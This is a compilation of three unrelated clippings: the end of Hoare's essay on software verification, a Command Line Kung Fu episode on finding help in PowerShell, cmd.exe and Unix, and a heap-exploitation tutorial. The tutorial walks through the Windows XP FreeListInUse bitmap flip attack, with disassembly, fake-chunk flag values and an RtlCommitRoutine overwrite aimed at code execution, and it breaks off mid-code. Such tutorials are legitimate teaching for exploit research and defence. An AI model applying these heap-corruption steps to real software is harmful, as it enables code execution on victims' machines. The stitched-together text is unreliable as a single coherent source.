is, to solve the easiest parts of the most prevalent problems, in the
particular circumstances of here and now. But the goal of the pure research
scientist is exactly the opposite: it is to construct the most general
theories, covering the widest possible range of phenomena, and to seek
certainty of knowledge that will endure for future generations. It is to avoid
the compromises so essential to engineering, and to seek ideals like accuracy
of measurement, purity of materials, and correctness of programs, far beyond
the current perceived needs of industry or popularity in the market-place. For
this reason, it is only scientific research that can prepare mankind for the
unknown unknowns of the forever uncertain future.

> _The phenomenon that triggered interest in software verification from the
> software industry was totally unpredicted and unpredictable._
So I believe there is now a better scope than ever for pure research in
computer science. The research must be motivated by curiosity about the
fundamental principles of computer programming, and the desire to answer the
basic questions common to all branches of science: what does this program do;
how does it work; why does it work; and what is the evidence for believing the
answers to all these questions? We know in principle how to answer them. It is
the specifications that describes what a program does; it is assertions and
other internal interface contracts between component modules that explain how
it works; it is programming language semantics that explains why it works; and
it is mathematical and logical proof, nowadays constructed and checked by
computer, that ensures mutual consistency of specifications, interfaces,
programs, and their implementations.

There are grounds for hope that progress in basic research will be much faster
than in the early days. I have already described the vastly broader theories
that have been proposed to understand the concepts of modern programming. I
have welcomed the enormous increase in the power of automated tools for proof.
The remaining opportunity and obligation for the scientist is to conduct
convincing experiments, to check whether the tools, and the theories on which
they are based, are adequate to cover the vast range of programs, design
patterns, languages, and applications of today's computers. Such experiments
will often be the rational reengineering of existing realistic applications.
Experience gained in the experiments is expected to lead to revisions and
improvements in the tools, and in the theories on which the tools were based.
Scientific rivalry between experimenters and between tool builders can thereby
lead to an exponential growth in the capabilities of the tools and their
fitness to purpose. The knowledge and understanding gained in worldwide long-
term research will guide the evolution of sophisticated design automation
tools for software, to match the design automation tools routinely available
to engineers of other disciplines.

back to top

### The End

No exponential growth can continue forever. I hope progress in verification
will not slow down until our programming theories and tools are adequate for
all existing applications of computers, and for supporting the continuing
stream of innovations that computers make possible in all aspects of modern
life. By that time, I hope the phenomenon of programming error will be reduced
to insignificance: computer programming will be recognized as the most
reliable of engineering disciplines, and computer programs will be considered
the most reliable components in any system that includes them.

Even then, verification will not be a panacea. Verification technology can
only work against errors that have been accurately specified, with as much
accuracy and attention to detail as all other aspects of the programming task.
There will always be a limit at which the engineer judges that the cost of
such specification is greater than the benefit that could be obtained from it;
and that testing will be adequate for the purpose, and cheaper. Finally,
verification cannot protect against errors in the specification itself. All
these limits can be freely acknowledged by the scientist, with no reduction in
enthusiasm for pushing back the limits as far as they will go.

back to top

### Author

**C.A.R. Hoare** \(thoare@microsoft.com\) is a principal researcher at
Microsoft Research in Cambridge, U.K., and Emeritus Professor of Computing at
Oxford University.

  

# Command Line Kung Fu: Episode \#68: Help Fu

**Created:**| _11/24/2009 7:20:07 PM_  
---|---  
**Updated:**| _11/24/2009 7:20:12 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#68: Help Fu

Tim hits lead off:  
  
This week we get help with help. Everyone needs help, and some in different
ways than others. But we aren't going to discuss Ed's problem with crunchy
peanut butter or Hal's issue with furry animals with tails. Anyway, back to
the issue at hand.  
  
Instead of jumping right in to getting help on commands, let's use PowerShell
to find commands by using the Get-Command cmdlet. This command will retrieve
all the cmdlets, aliases, and functions available to us. In order to use this
command effectively, let's go over a bit of the very basics of PowerShell. As
you all probably know, the nomenclature for PowerShell cmdlets is verb-noun.
Microsoft's approved verb list defines the verbs so you know which verb to use
and to ensure consistent use by cmdlet developers. That way the verbs are
consistent so "get" is always used instead of a random choice of get,
retrieve, grab, or obtain. The noun part of the name identifies the entity on
which the action is performed.  
  
Ed and Hal discussed the command history in episode \#27, so we'll use that as
the focus of our research.  
  
Let's see a list of all the available nouns.  
  

[code]

    PS C:\> **Get-Command -Type cmdlet | Sort-Object noun | Group-Object noun**  
      
     Count Name      Group  
    ----- ----      -----  
    2 Acl       {Set-Acl, Get-Acl}  
    5 Alias     {Import-Alias, Get-Alias, Set-Alias, Export-...  
    ...  
    4 History   {Invoke-History, Clear-History, Get-History,...  
    ...
    
[/code]

  
  
You probably could have already guessed, but the noun we want to use is
"History." To get a lits of the commands available using that noun we can use
this command:  
  

[code]

    PS C:\> **Get-Command -Noun history**  
      
     CommandType   Name               Definition  
    -----------   ----               ----------  
    Cmdlet        Add-History        Add-History [[-InputObject] ...  
    Cmdlet        Clear-History      Clear-History [[-Id] <Int32[...  
    Cmdlet        Get-History        Get-History [[-Id] <Int64[]>...  
    Cmdlet        Invoke-History     Invoke-History [[-Id] <Strin...
    
[/code]

  
  
The parameter is not case sensitive and will accept wildcards so "hIST\*"
would returned similar results. Similarly, we could see all the available
commands using the "get" verb using this command.  
  

[code]

    PS C:\> **Get-Command -Verb Get**
    
[/code]

  
  
Back to the subject at hand...  
  
Now we have a list of cmdlets we are interested in. Let's see how we can use
the command by using the Get-Help cmdlet.  
  

[code]

    PS C:\> **Get-Help Get-History**  
      
     NAME  
    Get-History  
      
    SYNOPSIS  
    Gets a list of the commands entered during the current session.  
      
    SYNTAX  
    Get-History [[-Id] ] [[-Count] ] []  
    ...
    
[/code]

  
  
We have a bit of a problem here, the basic help isn't super useful since it
doesn't provide a good description of the parameters or any examples of the
cmdlet's use. However, it does provide syntax and a list of parameters. To see
the full help including examples and parameter descriptions use this command:  
  

[code]

    PS C:\> **Get-Help Get-History -Full**
    
[/code]

  
  
To see just the examples:  
  

[code]

    PS C:\> **Get-Help Get-History -Examples**
    
[/code]

  
  
As you have probably noticed in past episodes there are a lot of aliases
available in PowerShell. The Get-Alias cmdlet can be used to "get" the list of
aliases. Specifically, we can see the aliases for the commands using the
History noun.  
  

[code]

    PS C:\> **Get-Alias | Where-Object {$_.Definition -like "*history"}**  
      
     CommandType     Name                            Definition  
    -----------     ----                            ----------  
    Alias           clhy                            Clear-History  
    Alias           ghy                             Get-History  
    Alias           h                               Get-History  
    Alias           history                         Get-History  
    Alias           ihy                             Invoke-History  
    Alias           r                               Invoke-History
    
[/code]

  
  
The Get-Command cmdlet can be used to get the same results.  
  

[code]

    PS C:\> **Get-Command -Type Alias | Where-Object {$_.Definition -like "*history"}**
    
[/code]

  
  
That's about it for PowerShell, let's see what Ed has for us with the Windows
command line: Get-Help -FuMaster Ed -Subject Windows  
  
Ed's Output:  
  
You guys with your fancy help capabilities in your shells are a real hoot.
Yes, your shells include intuitive and easy-to-access help features. Where’s
the fun in that? Or, more to the point, where’s the fu in that? I’ve spent
many countless hours sitting at a cmd.exe trying to reverse engineer… uh… I
mean conducting detailed design recovery of cmd.exe functionality to try to
figure out what the heck the little bugger was really doing. Ah… good times.  
  
In all seriousness though, cmd.exe offers an embarrassingly paltry amount of
help for using it and its commands. Really, it’s kind of stinky. Let’s explore
the few skimpy options we have.  
  
First off, we can run the help command, followed by the command we want to
analyze, as in:  

[code]

    C:\> help findstr
    
[/code]

  
The good news? Well, we’ll see a brief description of findstr functionality,
as well as its command flags.  
  
The bad news? Well, where to start? How about:  
  
Bad News \#1\) The help command doesn’t provide help for all of the commands
available in cmd.exe. It only covers a little less than 80 of them.  
  
To get a list of the commands that help has information about, simply run:  
  

[code]

    C:\> help
    
[/code]

  
Some of the most interesting and useful commands of all, like netstat, netsh,
reg, sc, and wmic, result in this unhappy little message:  

[code]

    C:\> help reg  
    This command is not supported by the help utility.  Try "x /?".
    
[/code]

  
Bad News \#2\) The output of the help command doesn’t include any examples or
much detail at all. It’s just really basic usage, without any interesting fu
included.  
  
Bad News \#3\) Note the little suggestion in the output of my command in Bad
News \#1: Windows tells us to try running the command with a /? argument for
help. As an old Unix guy \(shhhh… don’t tell anyone\), I’m very hesitant to
run a command that I don’t understand just so I can get help. It scares me to
do so without knowing what just running the command might do. And, here’s a
dirty little secret of the help command itself. It actually runs the command
you are trying to get help about\! Yes, check this out…  
  
First, start Task Manager, move to the Processes tab, and sort it
alphabetically by clicking on the Image Name column.  
  
Now, in a separate cmd.exe, run the following command, which will get help for
the findstr command, repeatedly:  
  

[code]

    C:\> for /L %i in (1,0,2) do @help findstr
    
[/code]

  
Look in your Task Manager window… see it? Every once in a while, the findstr
command pops up\! So “help findstr” is actually invoking the findstr command
itself to scrape out its help options. Yowza. That’s just painful for me.  
  
Bad News \#4: Well, with only around 80 commands covered by the help command,
we often have to turn to that old stand by, “\[command\] /?” for more help.
But the help included here is spotty at best as well, with major
inconsistencies between commands and some commands supporting context-specific
help for particular sub-areas of the command. For example, “wmic /?” does
offer some help, but there is a wmic-specific option for getting more detailed
help:  
  

[code]

    C:\> wmic /?:full
    
[/code]

  
Besides wmic, none of the other commands I know about support this /?:full
option.  
  
Also, some commands have specific help for certain contexts within the
command. Consider the following examples:  
  

[code]

    C:\> wmic process get /?
    
[/code]

  
This shows you a list of all the process attributes wmic supports.  
  
Or, try this:  
  

[code]

    C:\> wmic process call /?
    
[/code]

  
This one shows you a list of all the process methods you can call from within
wmic.  
  
Or, how about this one:  
  

[code]

    C:\> net /?
    
[/code]

  
And then:  
  

[code]

    C:\> net use /?
    
[/code]

  
Likewise, we can run “reg /?” to get an overview of the reg command, followed
by a “reg query /?” to get more details about the specific syntax for querying
the registry.  
  
Want another bewildering inconsistency? Try running this:  
  

[code]

    C:\> netstat /?
    
[/code]

  
Note that the output actually shows the command flags with dashes instead of
slashes \(i.e., “netstat –na” instead of “netstat /na”\). Thankfully, the
actual netstat command on modern Windows boxes lets you use dashes or slashes
in its flags.  
  
So, how can we wrap our heads around all of this inconsistency? I’ve found
that mastering Linux involves learning certain general principles and then
seeing how they are applied throughout the operating system. Whereas, in
Windows, mastering the command line involves memorizing a bunch of complex,
counter intuitive, and often inconsistent options scattered throughout the
operating system without rhyme or reason. So, why bother? Because, once
mastered, the Windows command-line is incredibly useful in analyzing systems
at a fine-grained level. Also, cmd.exe is pretty much everywhere, pre-
installed, so there’s a lot less hit-and-miss than you get with installs of
PowerShell. At least, there is for now… this is changing as PowerShell gets
more widely deployed.  
  
The bottom line here? When I’m actually looking for help with a command, I
apply the following process. I start by trying “help \[command\]”. If that
provides no satisfaction, I proceed to “\[command\] /?”. If that doesn’t give
me what I want, I try to look for context-specific help with “\[command\]
\[option\] /?”. And, if that doesn’t get me where I need to go, I turn to the
web to research commands. One of my absolutely favorite sites for researching
Windows \(as well as Linux and Unix\) commands is the awesome ss64 site. It
includes a detailed list of most Windows commands, including their various
flags, example usage, and mapping to rough equivalents in Linux, OS X
\(sometimes\), and PowerShell \(occasionally\). That’s awesome. And, finally,
there’s Microsoft’s own command line reference, worth a check from time to
time.  
  
Hal cleans up:  
  
There are actually a number of different help systems available on a typical
Unix system. First there's the standard on-line manual pages accessed via the
"man" command. The Unix manual pages include not only information about
programs that you can run from the command line, but also documentation on
programming APIs, device interfaces, and even the format of important
configuration files on the system.  
  
The trick sometimes is getting to the right manual page. For example, suppose
I wanted some information on how to use the chmod\(\) system call in my C
program. If I just typed "man chmod", I'd get the manual page for the chmod
program and not the documentation on the system call. To distinguish these two
different manual pages, the Unix manual has traditionally been organized into
sections. Sections 1 \(user commands\) and 8 \(administrator commands\) are
devoted to command-line tools, while sections 2 \(system calls\) and 3
\(library routines\) are devoted to programming APIs. FYI, section 4 is device
interfaces, section 5 is configuration file formats, section 6 is games, and
section 7 is "miscellaneous" but includes useful tidbits like the table of
ASCII values \("man ascii"\) and additional details on various IPC mechanisms.
When a Unix document refers to "chmod\(2\)" it means "the documentation on the
chmod system call in section 2 of the manual".  
  
But how does on pull up the chmod\(2\) manual page instead of the default
chmod\(1\) page? The man command takes a "-s" option to specify the section:
"man -s 2 chmod". But on many Unix variants you can simply drop the "-s" and
just type "man 2 chmod".  
  
Suppose, however, that I didn't know which section the chmod\(\) system call
was documented in. One of the most useful features of the man command is the
"-k" \(keyword search\) option:  
  

[code]

    $ **man -k chmod**  
     chmod (1)            - change file mode bits  
    chmod (2)            - change permissions of a file  
    fchmod (2)           - change permissions of a file  
    fchmodat (2)         - change permissions of a file relative to a directory f...
    
[/code]

  
You don't have to search on command names, of course. Any related keyword will
work. For example, if you're new to Unix and don't know how to rename files:  
  

[code]

    $ **man -k rename**  
     dpkg-name (1)        - rename Debian packages to full package names  
    lvrename (8)         - rename a logical volume  
    mmove (1)            - move or rename an MSDOS file or subdirectory  
    mren (1)             - rename an existing MSDOS file  
    mv (1)               - move (rename) files  
    prename (1)          - renames multiple files  
    rename (1)           - renames multiple files  
    rename (2)           - change the name or location of a file  
    rename.ul (1)        - Rename files  
    renameat (2)         - rename a file relative to directory file descriptors  
    vgrename (8)         - rename a volume group
    
[/code]

  
By the way, the "apropos" and "whatis" commands are equivalent to "man -k".
However, all of these commands operate on special "databases" of information
that has been extracted from the manual pages themselves via the "makewhatis"
command \(aka "mandb" on Linux\). Very often your system will have a cron job
that builds the whatis databases automatically every week or so, but on some
Unix systems you have to build the databases manually \(or create your own
cron job\).  
  
Another tricky issue with the Unix on-line manual is that sometimes you have
multiple repositories of manual pages. For example, you might have the
standard OS manual pages under /usr/share/man and manual pages for third-party
software in /usr/local/man. The man command lets you use the "-M" option to
specify a path to use for finding manual pages, but far it's far easier to set
MANPATH in your .bashrc file:  
  

[code]

    export MANPATH=/usr/share/man:/usr/local/man
    
[/code]

  
MANPATH works just like PATH or LD\_LIBRARY\_PATH. In the above example, the
man command will check the system manual page directory first and then look in
/usr/local/man if it doesn't find the manual page you're requesting.  
  
The man command is also the source of one of the most famous jokes in Unix:  
  

[code]

    $ **man 'furry animals with tails'**  
     No manual entry for furry animals with tails
    
[/code]

  
OK, so the traditional joke is "man rear", but you get the idea.  
  
Sadly, man pages seem to be dieing off. A lot of Open Source projects have
either very scanty or completely non-existent manual pages. It's actually
pretty tough to write a good manual page, both in terms of content and also
because you need to know nroff/troff formatting commands to format the text.
But writing \(and reading\) manual pages properly is still an important Unix
skill IMHO.  
  
Another source of on-line documentation on Unix is the Free Software
Foundation's "info" system. The most complete documentation on packages like
emacs, gcc, GNU tar, et al is found in the info system-- the manual pages are
mostly just stubs extracted from the docs in the info pages. Run the command
"info info" to get more information on how to navigate the curses-based info
interface. Frankly, I think the user interface for the info system is
terrible, but it was mostly designed to be run from within emacs. I suppose
that it makes sense if you're one of those people who essentially lives inside
of emacs and never touches an actual terminal window.  
  
But the info system never really caught on outside of the FSF. With
traditional manual pages being marginalized as well, the main documentation
interface these days seems to be the "-h" or "--help" options supported by
many commands. Typically, one or both of these options will generate at least
a terse summary of command options:  
  

[code]

    $ **info --help**  
     Usage: info [OPTION]... [MENU-ITEM...]  
      
    Read documentation in Info format.  
      
    Options:  
          --apropos=STRING         look up STRING in all indices of all manuals.  
      -d, --directory=DIR          add DIR to INFOPATH.  
          --dribble=FILENAME       remember user keystrokes in FILENAME.  
      -f, --file=FILENAME          specify Info file to visit.  
      -h, --help                   display this help and exit.  
          --index-search=STRING    go to node pointed by index entry STRING.  
      -n, --node=NODENAME          specify nodes in first visited Info file.  
      -o, --output=FILENAME        output selected nodes to FILENAME.  
      -R, --raw-escapes            output "raw" ANSI escapes (default).  
          --no-raw-escapes         output escapes as literal text.  
          --restore=FILENAME       read initial keystrokes from FILENAME.  
      -O, --show-options, --usage  go to command-line options node.  
          --subnodes               recursively output menu items.  
      -w, --where, --location      print physical location of Info file.  
          --vi-keys                use vi-like and less-like key bindings.  
          --version                display version information and exit.  
      
    The first non-option argument, if present, is the menu entry to start from;  
    it is searched for in all `dir' files along INFOPATH.  
    If it is not present, info merges all `dir' files and shows the result.  
    Any remaining arguments are treated as the names of menu  
    items relative to the initial node visited.  
      
    Examples:  
      info                       show top-level dir menu  
      info emacs                 start at emacs node from top-level dir  
      info emacs buffers         start at buffers node within emacs manual  
      info --show-options emacs  start at node with emacs' command line options  
      info --subnodes -o out.txt emacs  dump entire manual to out.txt  
      info -f ./foo.info         show file ./foo.info, not searching dir  
      
    Email bug reports to bug-texinfo@gnu.org,  
    general questions and discussion to help-texinfo@gnu.org.  
    Texinfo home page: http://www.gnu.org/software/texinfo/
    
[/code]

  
Not as useful as a traditional manual page, IMHO, but at least it's something.
The biggest problem is that with the documentation being tied up in each
individual command's "--help" output, there's no "man -k" equivalent for doing
global keyword searches if you're not sure what command you're looking for.  
  
_Our friend Jeff Haemer is at it again, with some more "helpful" pointers on
his blog. Man, I can't believe I forgot the "help" command, but Jeff will tell
you all about it, plus some other neat shell trickery._

# Heap Overflows For Humans 103 « mr\_me's IT security blog

**Created:**| _1/5/2012 9:47:29 AM_  
---|---  
**Updated:**| _1/5/2012 9:53:40 AM_  
**Author:**| __  
**Tags:**| _Exploit Heap_  
  

## Heap Overflows For Humans 103

by mr\_me on Jan.04, 2012, under exploit development, reversing

Hi guys\! Once again I’m back and here to discuss yet another important
technique for heap exploitation that I do not want to see get buried in the
sands of time. Lucky for me I have some time off over Christmas/New years so I
can cover more of this topic. Lets review what we have covered so far just in-
case you missed some if it:  

  * Heap Overflows For Humans 101  
Here we covered the basics of heap overflows under NT 5.1 \(Windows XP SP1\)
such as:

  * The basic ‘unlink\(\)’ exploitation and function pointer overwrites
  * Abusing the Unhandled Exception Filter
  * Abusing Vectored Exception Handling

  * Heap Overflows For Humans 102  
We stepped it up a notch:

  * We covered more on the heap data structures and algorithms for allocation and freeing including RtlAllocateHeap\(\) RtlFreeHeap\(\), coalescing, block splitting, and structures like heaps, segments, the Lookaside List, the FreeList, chunk headers, etc
  * Safe Unlinking
  * Heap header cookies
  * Exploitation technique: overwriting a chunk on the look aside aka ‘ListHead overwrite’

  * Heap Overflows For Humans 102.5

  * Introduced another popular technique known as FreeList\[0\] insert attack
  * Introduced a new heap plugin for Immunity Debugger called \!heaper

  * Heap Overflows For Humans 103 \(this tutorial\)

  * Covered some theory regarding the FreeListInUse bitmap
  * Introduced Nicolas Wisemans ‘FreeListInUse bitmap flip attack’
  * Explain how I fail with RtlCommitRoutine :/ and provide a possible solution
  * Made some modifications to heaper that allow further analysis of the FreeListInUse bitmap, created a Github repository for easy code management

Lets get right into it\! grab a 0xc0ff3333 and be ready to think\!

## The FreeListInUse:

The FreeListInUse is a structure of size 16 bytes \(4 longs\) found at offset
0×0158 of the heap base and consists of a number of bytes that build a table
that identifies which FreeList\[n\] entries contain free chunks. The purpose
of the FreeListInUse bitmask is to speed up RtlAllocateHeap\(\) when
performing allocations from the FreeList. During an allocation, the heap
manager will scan the bitmap from the size allocation by adding 8 and / by 8.
For example, say we are allocating a size of 664 bytes, it would + 8 \(674\)
and / 8 = 84 \(0×54\) so the heap manager would start scanning at
FreeList\[54\] and continue downwards. This is purely an optimization as so to
increase speed of the heap manager.

Lets take a look at what this bitmap can look like:

<img src='img/Temp2_3706.png' width='300' height='74' alt='FreeListInUse' />

Figure 1 - The FreeListInUse

Ok so 4 longs each of 32 bits representing a total of 128 \(precisely the size
of the FreeList\). But looking at it like that is tricky, lets take a closer
look:

<img src='img/Temp2_3687.png' width='176' height='300' alt='Dumping the
FreeListInUse structure using heaper' />

Figure 2 - Dumping the FreeListInUse structure using heaper

If you are allocating from a FreeList\[n\] entry and it is the last chunk, it
will **unset** the bit. Likewise if you are using HeapFree\(\) and it is being
freed to the FreeList \(assuming the lookaside is full\) it will **set** the
bit. In ntdll\!RtlAllocateHeap, the code will XOR the current bit with 1 to
produce the new bit value:

[code]

    ; FreeListInUse modification:
    
    7C910CEE   . 0FB70E         MOVZX ECX,WORD PTR DS:[ESI]             ; ecx = chunk->size
    7C910CF1   . 8BC1           MOV EAX,ECX                             ; eax = ecx
    7C910CF3   . C1E8 03        SHR EAX,3                               ; ListOffset = size / 8
    7C910CF6   . 8985 28FFFFFF  MOV DWORD PTR SS:[EBP-D8],EAX
    7C910CFC   . 83E1 07        AND ECX,7                               ; entryByte = size & 7, ecx = entryByte
    7C910CFF   . 33D2           XOR EDX,EDX                             ; edx = NULL</strong>
    7C910D01   . 42             INC EDX                                 ; edx = 0x01</strong>
    7C910D02   . D3E2           SHL EDX,CL                              ; byteToSet = 1 << entryByte
    7C910D04   . 8995 04FFFFFF  MOV DWORD PTR SS:[EBP-FC],EDX
    7C910D0A   . 8D8418 5801000>LEA EAX,DWORD PTR DS:[EAX+EBX+158]      ; eax = 0x004907A6 FreeListInUse Offset
    7C910D11   . 33C9           XOR ECX,ECX                             ; ecx = NULL
    7C910D13   . 8A08           MOV CL,BYTE PTR DS:[EAX]                ; current_val = FreeListInUse[ FreeListInUseOffset ]
    7C910D15   . 33CA           XOR ECX,EDX                             ; current_val = xor(current_val,byteToSet)
    7C910D17   . 8808           MOV BYTE PTR DS:[EAX],CL                ; FreeListInUse[ FreeListInUseOffset ] = current_val
    
    
[/code]

<img src='img/Temp2_3686.png' width='300' height='190' alt='FreeListInUse
bitmap update during an allocation' />

Figure 3 - FreeListInUse bitmap update during an allocation

The important point to make with this is that the ‘byteToSet’ will always be
1. Lets run some xor tests

[code]

    >>> current_val = 0
    >>> byteToSet = 1
    >>> current_val^byteToSet
    1
    >>> current_val = 1
    >>> current_val^byteToSet
    0
    >>>
    
    
[/code]

Ok so we can see that the value of the FreeListInUse entry is based on what
the last value was. Stop and think about it for a second before proceeding, it
is this simple fact, along with the way XOR works that we are exploiting.

So what if we manage to have a situation where we are able to control a single
bit of the FreeListInUse?

## Exploiting FreeListInUse \(bitmap flip attack\)

Before we begin to demonstrate ways to flip bits on the FreeListInUse bitmap,
lets demonstrate the outcomes of such a situation. Lets say you have 0 free
chunks available to the heap manager in FreeList\[0x66\] entry. This is what
we would be looking at:

FreeList\[0x066\] 0x00a804a8 -> \[ flink: 0x00a804a8 | blink: 0x00a804a8 \]
Essentially, the FreeListInUse for this entry would correspond to 0. Now lets
assume for a second that the FreeListInUse entry was actually set to 1. Had we
then requested an allocation for that particular size \(0×66\*0×8/8\) or less,
RtlAllocateHeap\(\) would scan the FreeListInUse and search for the
corresponding entry that is set that could fulfill that request \(assuming the
lookaside is empty\).

So the request goes ahead and would return the value 0x00a804a8 as a ‘valid’
chunk. Now because the FreeList\[n\] will point to the list entry itself, if
there are no chunks, it would return a value that has an offset close to
certain management structure values for that heap.

At this point it would be straight forward to overwrite from 0x00a804a8 down
say 216 bytes and overwrite the RtlCommitRoutine pointer stored at offset
0x57c. However when testing this attack technique and reversing
RtlAllocateHeap\(\), I noticed that we will need one condition after we have
flipped the FreeListInUse entry.

The chunk we are allocating, must be the last chunk in the list otherwise the
RtlAllocateHeap\(\) will try to walk the entries and cause an access
violation. Lets look at the code:

<img src='img/Temp2_3712.png' width='300' height='123' alt='A check to see if
the chunk is the last in the FreeList entry' />

Figure 4 - A check to see if the chunk is the last in the FreeList entry

The instruction to look at is the TEST CL,0×10. We know that 0×10 means that
it is the last chunk in the entry. So when we are looking at a FreeList\[n\]
entry, the chunks address will point to the flink/blink and not to the header
itself. So to inspect if the chunk to determine if we will fail the above
check, we have to take the chunk address and – 0×8 and then + 0×5 for the
offset to the chunk flag in its header. This is best shown visually:

<img src='img/Temp2_3714.png' width='300' height='53' alt='FreeList entry with
no chunks' />

Figure 5 - FreeList entry with no chunks

and if we were to dump the chunk at 0x00a804a8 then the header would be at
0x00a804a0 and our chunk flag would be at 0x00a804a5 \(where the cursor is\):

<img src='img/Temp2_3694.png' width='276' height='62' alt='Analysing the chunk
flag' />

Figure 6 - Analysing the chunk flag

If we modify that to a known value \(0×10 instead of 0×04\) and it executes
the TEST against the constant 0×10, it will fail the check and not take the
jump \(of course a CMP would have been a better option\). The pseudo code
would be something like this:

[code]

    if (chunk->flag & 0x10) <= 0:
               walk_freelist_entry()
    
    
[/code]

So lets modify it:

<img src='img/Temp2_3696.png' width='259' height='53' alt='Modified flag in
the fake chunks header' />

Figure 7 - Modified flag in the fake chunks header

Whatever hexadecimal character we use, it must contain a binary value set at
position 0×5 of an 8bit representation, for it to bypass the check. EG:
00010000

Of course this works out to be exactly 256/2 so 128 possible bytes could be
used to bypass this check of the LAST chunk. Here are the values:

  * 0×10-0x1f
  * 0×30-0x3f
  * 0×50-0x5f
  * 0×70-0x7f
  * 0×90-0x9f
  * 0xb0-0xbf
  * 0xd0-0xdf
  * 0xf0-0xff

As mentioned previously, the Freelist starts at 0x**01** 78 and ends at
0x**05** 70\. Therefore the possible values are 0×01-0×05 which will never
work for allocating a chunk that is the freelist\[n\] itself. One way too
succeed, is too have a free chunk in the FreeList\[n\] entry **BEFORE** the
FreeList\[n\] entry that you are allocating from. The address of this chunk
must contain a byte value listed above in the 3rd position from the left. For
example: An address like this – 0xXXXX**YY** XX where YY is equal to any of
the above listed bytes. Again, lets visually picture this:

<img src='img/Temp2_3703.png' width='300' height='45' alt='Free chunk before
the entry we are allocating from (0x7c)' />

Figure 8 - Free chunk before the entry we are allocating from \(0x7c\)

We can see previous entry has a byte of 0×32 instead of 0×4. Lets look at this
in the dump window:

<img src='img/Temp2_3692.png' width='271' height='58' alt='Free chunk before
our FreeList entry contains a different value' />

Figure 9 - Free chunk before our FreeList entry contains a different value

Does 0×32 bypass the check? Yes because the value will return False and not
take the jump.

[code]

    >>> print (0x32 & 0x10) <= 0
    False
    
    
[/code]

So the jump will not be taken and the unlinking will begin assuming we perform
a HeapAlloc\(984\). At this point, we should get returned value of 0×00490558
in EAX.

### Flipping the bit

Before we can even get to the point where we are allocating a FreeList\[n\]
fake chunk, we need to be able to abuse the bitmask some how. So far I am
aware of 3 different ways:

  1. Trigger a heap overflow and modify the size only of a FreeList\[n\] chunk \(must be the only chunk in that FreeList\[n\] entry\). You modify it with a size that you want to flip at. So when the free overflow chunk is allocated, it will switch the FreeList entry corresponding to the modified size.
  2. Trigger a heap overflow and modify the size, flink/blink and set the chunk flag to 0×10 of a FreeList\[n\] chunk \(doesnt matter if the FreeList\[n\] entry has multiple chunks\). You made the flink and blink the same value and set the flag, so the algorithm will think they are the last chunk on a freelist entry. When you allocate that chunk, the FreeListInUse entry corresponding to the modified size will be change into 1.
  3. You gain control of a primitive via a ‘ inc\( ptr \)’. You modify the FreeListInUse for an empty entry. Allocate a chunk of the size of the entry – 8. Who says you even need a heap overflow? More on this below.

During testing and analysis however, I understand the importance of being able
to simulate a FreeListInUse bitflip. I have included a function in \!heaper
that allows you to be able to do this.

<img src='img/Temp2_3711.png' width='300' height='219' alt='heaper allows you
to modify the FreeListInUse' />

Figure 10 - heaper allows you to modify the FreeListInUse

Lets display the FreeListInUse for heap 0×00490000:

<img src='img/Temp2_3688.png' width='197' height='300' alt='dumping the
FreeListInUse for heap 0x00490000' />

Figure 11 - dumping the FreeListInUse for heap 0x00490000

So lets modify the FreeList\[20\] entry for the FreeListInUse:

<img src='img/Temp2_3689.png' width='195' height='300' alt='Modifying
FreeListInUse entry 0x20 to trick the allocator' />

Figure 12 - Modifying FreeListInUse entry 0x20 to trick the allocator

Now all you would need to do is ensure a free chunk exists in FreeList\[0x1c\]
and that it has a compatible value for its chunk flag \(see above\).

On the 30th of May 2007, Nicolas Waisman posted a riddle on DailyDaves mailing
list that asks security analysts how they might exploit a **inc \[r32\]**
instruction assuming they control the primitive.

> Lets have a fun riddle to cheer up the spirit \( Mate at 11pm, its all  
>  night insomnia.\)
> The riddle: Let said you are trying to exploit a remote service on an  
>  old Windows 2000 \(whatever SP you want\) and the primitive is the
> following  
>  inc \[edi\] // you control edi
> What would be the best option for edi?
> Nico
If we were able to gain control of a primitive and were able to increment a
pointer at any location multiple times we could set up an attack like so:

Assuming the following \(assumptions are bad I know\):

  * The heapbase is 0×00490000
  * We had **no** entries in FreeList\[n\] besides FreeList\[0\]
  * EDX is a controlled value.
  * Our instruction that we are at is: **inc byte \[edx\]**
  * We can actually perform the increment multiple times \(you could, most likely perform other attacks if this was the case. But this is just a contrived example\)

1\. We set EDX to 0x0049015c and modify the FreeListInUse.

<img src='img/Temp2_3704.png' width='300' height='87' alt='Flipping the bitmap
without a heap overflow' />

Figure 13 - Flipping the bitmap without a heap overflow

now lets view the FreeListInUse:

<img src='img/Temp2_3691.png' width='300' height='166' alt='We flipped 0x20
entry using offset 0x15c' />

Figure 14 - We flipped 0x20 entry using offset 0x15c

2\. Now we would need to ensure that the chunk at FreeList\[0x20\] that points
to the entry itself \(a fake chunk\) has a fake header flag set correctly.
Lets take a look at its current value:

<img src='img/Temp2_3716.png' width='267' height='72' alt='Fake chunk has a
flag of 0x2, which will pass check (not what we want to do)' />

Figure 15 - Fake chunk has a flag of 0x2, which will pass check \(not what we
want to do\)

so this is simple, lets just increment it to 0×10 using our controlled
primitive:

<img src='img/Temp2_3699.png' width='300' height='69' alt='Modifying the chunk
flag so that it appears as the last chunk' />

Figure 16 - Modifying the chunk flag so that it appears as the last chunk

Now when an allocation comes in for size 0×20, the heap manager will happily
return the FreeList\[20\] entry itself\! \(0×00490278\)

Recap:

  * We didn’t even need a heap overflow\! 
  * We didn’t need any free chunks in FreeList\[n\] at all\!
  * We needed to control a primitive for a **inc byte \[r32\]** instruction
  * We needed to control 2 allocations with a specific size. One for pulling the freelist\[n\] entry back as a valid chunk and one for the forcing the allocator to commit more memory, triggering the RtlCommitRoutine\(\) function pointer.

### Exploitation via RtlCommitRoutine

Exploitation via the RtlCommitRoutine proved for me \(now at least\) to be
**not** successful. This is due to the smashing of many pointers in the heap
structure that seemed to get referenced \(read/writes\) in memory before
looking up the RtlCommitRoutine pointer at offset 0x57c. Such pointers include
the Lock Variable at offset 0×578.

None-the-less here is the following code I am trying to trigger:

[code]

    
    7C918B26   . 8B88 7C050000  MOV ECX,DWORD PTR DS:[EAX+57C]
    7C918B2C   . 85C9           TEST ECX,ECX
    7C918B2E   . 0F85 9F210300  JNZ ntdll.7C94ACD3
    
    ;jump taken if ecx != 0
    
    7C94ACD3   > 57             PUSH EDI
    7C94ACD4   . 8D55 0C        LEA EDX,DWORD PTR SS:[EBP+C]
    7C94ACD7   . 52             PUSH EDX
    7C94ACD8   . 50             PUSH EAX
    7C94ACD9   . FFD1           CALL ECX <- code execution
    
    
